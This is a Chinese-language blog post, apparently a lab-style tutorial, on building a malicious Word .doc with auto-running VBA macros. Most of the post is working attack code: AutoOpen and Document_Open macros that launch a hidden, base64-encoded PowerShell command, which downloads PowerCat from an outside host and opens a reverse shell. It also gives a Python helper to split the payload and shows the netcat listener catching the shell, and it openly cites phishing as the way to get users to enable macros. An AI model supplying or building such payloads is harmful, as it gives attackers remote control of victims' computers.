Microsoft Word宏Attack
2023-5-9 21:27:6 Author: Matrix1024(查看原文) 阅读量:10 收藏

采用宏的方式对client-side攻击是一种非常老的攻击方式,其目的是将宏嵌入到Word或Excle中,当用户打开嵌入宏的文档时可反弹shell。自Office 2016开始,Microsoft就默认关闭了宏的功能,当用户打开嵌入宏的文档时,需要手动确认并打开宏,才能继续使用该功能。尽管如此,采用宏的方式对client-side的攻击仍然非常流行,因为当前仍然存在大量旧版本的Office users,以及通过钓鱼诱导的方式,仍然可以诱导users点击并启用宏。以下是制作恶意宏文档的演示过程和client-side遭受攻击的过程。

首先在Attack user端创建一个空白的Word文档,并保存为doc格式。因为新的docx格式文档无法在不附加包含模板的情况下保存宏。也就是说,docx文件可以运行宏,但不能嵌入或保存宏。

创建doc文档后,在word编辑界面创建宏。

然后在弹出的窗口里给宏任意取个名字。并在Macros in里选择document,并Create创建。

  在宏的编辑页面可以看到code编写窗口。在VBA宏中,通常是以Sub为开始,End Sub为结束。

在本次演示中,我们将利用ActiveX对象,它将提供对底层操作系统的命令访问。同时还可以通过Windows Script Host Shell对象使用WScript来实现。

当我们使用CreateObject实例化了一个Windows Script Host Shell对象后,我们就可以调用Wscript.Shell中的Run方法,这样就可以在目标客户端机器上启动应用程序。因此,我们可以在第一个宏中启动PowerShell窗口。

Sub TestMacro()
 CreateObject("Wscript.Shell").Run "powershell"  End Sub

但因为Office中的宏不会自动执行,因此我们还需要预定义AutoOpen和Document_Open宏。这样用户在打开Word文档时,就会调用我们的自定义过程并运行我们的代码。因为打开文档的方式可能会不太一样,所以我们将两种情况都涵盖进去。

Sub AutoOpen()
 TestMacro  End Sub
Sub Document_Open()
 TestMacro  End Sub
Sub TestMacro()
 CreateObject("Wscript.Shell").Run "powershell"  End Sub

然后我们再进行保存,并重新打开文档。重新打开文档后,可以开单一条安全警告,表示宏已经被禁用。需要我们点击Enable Content来启用内容。

当我们点击Enable Content后,即可看到PowerShell窗口被弹出来了。

然而,在真实的client-side Attack中,当然不可能只是弹个PowerShell窗口就行了。接下来,我们可以尝试使用PowerShell来下载PowerCat来执行反弹shell。并且使用base64对命令进行编码,以规避特殊字符问题。

IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.204/powercat.ps1');powercat -c 192.168.45.204 -p 4444 -e powershell

同时,我们还需要将PowerShell命令在VBA中声明为字符串。

Sub AutoOpen()    TestMacroEnd Sub
Sub Document_Open()    TestMacroEnd Sub
Sub TestMacro()    Dim Str As String    CreateObject("Wscript.Shell").Run StrEnd Sub

另外,我们需要注意的是,VBA对字符串的限制是255个字符。因此我们的base64编码还需要对PowerShell命令进行拆分,并再将他们连接起来。这里我们先使用kali中的pwsh工具对PowerShell命令进行base64编码。

┌──(root㉿kali)-[/home/kali]└─# pwsh                  PowerShell 7.2.6Copyright (c) Microsoft Corporation.
https://aka.ms/powershellType 'help' to get help.
PS /home/kali> $Text = 'IEX(New-Object System.Net.WebClient).DownloadString("http://192.168.45.204/powercat.ps1");powercat -c 192.168.45.204 -p 4444 -e powershell'                                                                                                   PS /home/kali> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)PS /home/kali> $EncodedText =[Convert]::ToBase64String($Bytes)PS /home/kali> $EncodedTextSQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAA0AC8AcABvAHcAZQByAGMAYQB0AC4AcABzADEAIgApADsAcABvAHcAZQByAGMAYQB0ACAALQBjACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMAA0ACAALQBwACAANAA0ADQANAAgAC0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwA

这里使用python脚本对PowerShell base64编码后的命令进行处理。

#!/usr/bin/pythonstr = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAA0AC8AcABvAHcAZQByAGMAYQB0AC4AcABzADEAIgApADsAcABvAHcAZQByAGMAYQB0ACAALQBjACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMAA0ACAALQBwACAANAA0ADQANAAgAC0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwA"
n = 50
for i in range(0, len(str), n):print("Str = Str + " + '"' + str[i:i+n] + '"')

使用python脚本对PowerShell base64编码的命令进行处理后,我们在更新一下我们的宏。

Sub AutoOpen()    TestMacroEnd Sub
Sub Document_Open()    TestMacroEnd Sub
Sub TestMacro()    Dim Str As StringStr = Str + "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAd"Str = Str + "wAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAA"Str = Str + "uAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhA"Str = Str + "GQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADI"Str = Str + "ALgAxADYAOAAuADQANQAuADIAMAA0AC8AcABvAHcAZQByAGMAY"Str = Str + "QB0AC4AcABzADEAIgApADsAcABvAHcAZQByAGMAYQB0ACAALQB"Str = Str + "jACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMAA0ACAALQBwA"Str = Str + "CAANAA0ADQANAAgAC0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGw"Str = Str + "A"    CreateObject("Wscript.Shell").Run StrEnd Sub

最后我们再保存宏和文档。再kali中建立监听。当用户打开文档,并启用宏时,就可以收到反弹的shell。

[email protected]:~$ nc -nvlp 4444listening on [any] 4444 ...connect to [192.168.45.204] from (UNKNOWN) [192.168.204.196] 49768Windows PowerShellCopyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindowsPS C:\Users\offsec\Documents>

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5NzYxMjI5OA==&mid=2247485618&idx=1&sn=a7536311f7902329762711ca0eb50d8b&chksm=c06e67d7f719eec120d72ada75650456183345d9b029af12126e583c8ffd086337c23ff93592#rd
如有侵权请联系:admin#unsafe.sh